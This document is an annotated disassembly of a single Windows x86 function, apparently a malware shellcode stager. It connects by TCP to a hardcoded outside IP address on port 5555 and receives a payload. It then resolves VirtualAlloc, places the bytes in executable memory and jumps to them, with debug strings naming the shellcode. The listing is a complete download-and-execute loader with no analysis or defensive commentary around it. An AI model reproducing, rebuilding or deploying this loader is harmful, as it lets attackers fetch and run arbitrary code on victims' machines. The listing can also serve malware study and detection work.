Function at 0x404380
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x440d6c
mov eax, dword fs:[0]
push eax
mov eax, 0x2490
call fcn.00428de0
mov eax, dword [0x456728]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x249c], ecx
push 0x445208
lea ecx, [ebp - 0x42c]
call fcn.00404aa0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x44c]
push eax
call fcn.004040e0
add esp, 4
mov byte [ebp - 4], 1
call fcn.00404140
mov byte [ebp - 0x1ad], al
movzx ecx, byte [ebp - 0x1ad]
test ecx, ecx
je 0x404415
push 0x404280
push 0x4451d0
push 0x45a820
call fcn.004065b0
add esp, 8
mov ecx, eax
call fcn.00404b40
jmp 0x404490
lea edx, [ebp - 0x44c]
push edx
lea eax, [ebp - 0x42c]
push eax
call fcn.004042a0
add esp, 8
movzx ecx, al
test ecx, ecx
je 0x404462
push 0x404280
push 0x4451bc
lea edx, [ebp - 0x42c]
push edx
push 0x45a820
call fcn.004068b0
add esp, 8
push eax
call fcn.004065b0
add esp, 8
mov ecx, eax
call fcn.00404b40
jmp 0x404490
push 0x404280
push 0x4451a8
lea eax, [ebp - 0x42c]
push eax
push 0x45a820
call fcn.004068b0
add esp, 8
push eax
call fcn.004065b0
add esp, 8
mov ecx, eax
call fcn.00404b40
lea ecx, [ebp - 0x1a4]
push ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x4044fa
push 0x404280
push str.Failed_to_initialize_Winsock
push 0x45a788
call fcn.004065b0
add esp, 8
mov ecx, eax
call fcn.00404b40
mov dword [ebp - 0x246c], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x44c]
call fcn.00404ae0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x42c]
call fcn.00404ae0
mov eax, dword [ebp - 0x246c]
jmp 0x404a7b
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x3fc], eax
cmp dword [ebp - 0x3fc], 0xffffffff
jne 0x40456f
push 0x404280
push str.Failed_to_create_socket
push 0x45a788
call fcn.004065b0
add esp, 8
mov ecx, eax
call fcn.00404b40
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov dword [ebp - 0x2470], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x44c]
call fcn.00404ae0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x42c]
call fcn.00404ae0
mov eax, dword [ebp - 0x2470]
jmp 0x404a7b
mov word [ebp - 0x410], 2
push 0x15b3
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x40e], ax
push str.120.76.238.98
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x40c], eax
push 0x10
lea edx, [ebp - 0x410]
push edx
mov eax, dword [ebp - 0x3fc]
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40461d
push 0x404280
push str.Failed_to_connect_to_server
push 0x45a788
call fcn.004065b0
add esp, 8
mov ecx, eax
call fcn.00404b40
mov ecx, dword [ebp - 0x3fc]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov dword [ebp - 0x2474], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x44c]
call fcn.00404ae0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x42c]
call fcn.00404ae0
mov eax, dword [ebp - 0x2474]
jmp 0x404a7b
lea ecx, [ebp - 0x2464]
call fcn.004050c0
mov byte [ebp - 4], 2
push 0
push 0x2000
lea edx, [ebp - 0x2454]
push edx
mov eax, dword [ebp - 0x3fc]
push eax
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x2468], eax
cmp dword [ebp - 0x2468], 0
jle 0x404691
mov ecx, dword [ebp - 0x2468]
lea edx, [ebp + ecx - 0x2454]
push edx
lea eax, [ebp - 0x2454]
push eax
lea ecx, [ebp - 0x247c]
push ecx
lea ecx, [ebp - 0x2464]
call fcn.00405110
mov edx, dword [eax + 4]
push edx
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x2464]
call fcn.00406bc0
jmp 0x40462c
cmp dword [ebp - 0x2468], 0xffffffff
jne 0x4046b8
push 0x404280
push str.Error_receiving_data
push 0x45a788
call fcn.004065b0
add esp, 8
mov ecx, eax
call fcn.00404b40
mov ecx, dword [ebp - 0x3fc]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x430], eax
cmp dword [ebp - 0x430], 0
jne 0x404748
push 0x404280
push str.Failed_to_load_kernel32.dll
push 0x45a788
call fcn.004065b0
add esp, 8
mov ecx, eax
call fcn.00404b40
mov dword [ebp - 0x2480], 1
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x2464]
call fcn.004050f0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x44c]
call fcn.00404ae0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x42c]
call fcn.00404ae0
mov eax, dword [ebp - 0x2480]
jmp 0x404a7b
push 0x4450f0
mov edx, dword [ebp - 0x430]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 0
jne 0x4047cc
push 0x404280
push str.Failed_to_get_VirtualAlloc_address
push 0x45a788
call fcn.004065b0
add esp, 8
mov ecx, eax
call fcn.00404b40
mov dword [ebp - 0x2484], 1
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x2464]
call fcn.004050f0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x44c]
call fcn.00404ae0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x42c]
call fcn.00404ae0
mov eax, dword [ebp - 0x2484]
jmp 0x404a7b
push 0x4450c0
mov eax, dword [ebp - 0x430]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x3f8], eax
cmp dword [ebp - 0x3f8], 0
jne 0x404850
push 0x404280
push str.Failed_to_get_VirtualFree_address
push 0x45a788
call fcn.004065b0
add esp, 8
mov ecx, eax
call fcn.00404b40
mov dword [ebp - 0x2488], 1
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x2464]
call fcn.004050f0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x44c]
call fcn.00404ae0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x42c]
call fcn.00404ae0
mov eax, dword [ebp - 0x2488]
jmp 0x404a7b
lea ecx, [ebp - 0x2464]
call fcn.00405180
movzx ecx, al
test ecx, ecx
je 0x4048c5
push 0x404280
push str.No_shellcode_data_received.
push 0x45a788
call fcn.004065b0
add esp, 8
mov ecx, eax
call fcn.00404b40
mov dword [ebp - 0x248c], 1
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x2464]
call fcn.004050f0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x44c]
call fcn.00404ae0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x42c]
call fcn.00404ae0
mov eax, dword [ebp - 0x248c]
jmp 0x404a7b
push 0x40
push 0x1000
lea ecx, [ebp - 0x2464]
call fcn.00405140
push eax
push 0
call dword [ebp - 0x1a8]
mov dword [ebp - 0x400], eax
cmp dword [ebp - 0x400], 0
jne 0x404952
push 0x404280
push str.Failed_to_allocate_memory_for_shellcode
push 0x45a788
call fcn.004065b0
add esp, 8
mov ecx, eax
call fcn.00404b40
mov dword [ebp - 0x2490], 1
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x2464]
call fcn.004050f0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x44c]
call fcn.00404ae0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x42c]
call fcn.00404ae0
mov eax, dword [ebp - 0x2490]
jmp 0x404a7b
lea ecx, [ebp - 0x2464]
call fcn.00405140
push eax
push 0
lea ecx, [ebp - 0x2464]
call fcn.004051a0
push eax
mov edx, dword [ebp - 0x400]
push edx
call fcn.00428a70
add esp, 0xc
mov eax, dword [ebp - 0x400]
mov dword [ebp - 0x450], eax
call dword [ebp - 0x450]
push 0x8000
push 0
mov ecx, dword [ebp - 0x400]
push ecx
call dword [ebp - 0x3f8]
mov dword [ebp - 0x2494], 0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x2464]
call fcn.004050f0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x44c]
call fcn.00404ae0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x42c]
call fcn.00404ae0
mov eax, dword [ebp - 0x2494]
jmp 0x404a7b
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00428020
mov esp, ebp
pop ebp
ret